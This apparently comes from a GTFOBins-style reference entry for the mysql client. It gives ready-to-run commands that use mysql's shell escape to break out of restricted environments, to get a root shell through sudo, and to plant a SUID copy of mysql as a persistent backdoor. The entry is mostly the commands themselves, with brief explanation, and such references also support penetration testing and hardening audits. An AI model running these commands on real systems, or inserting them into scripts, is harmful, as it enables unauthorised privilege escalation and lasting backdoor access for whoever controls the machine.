A valid MySQL server must be available.
It can be used to break out from restricted environments by spawning an interactive system shell.
mysql -e '\! /bin/sh'It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
sudo mysql -e '\! /bin/sh'It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run commands it only works on systems
like Debian that allow the default sh shell to run with SUID privileges.
sudo sh -c 'cp $(which mysql) .; chmod +s ./mysql'
./mysql -e '\! /bin/sh'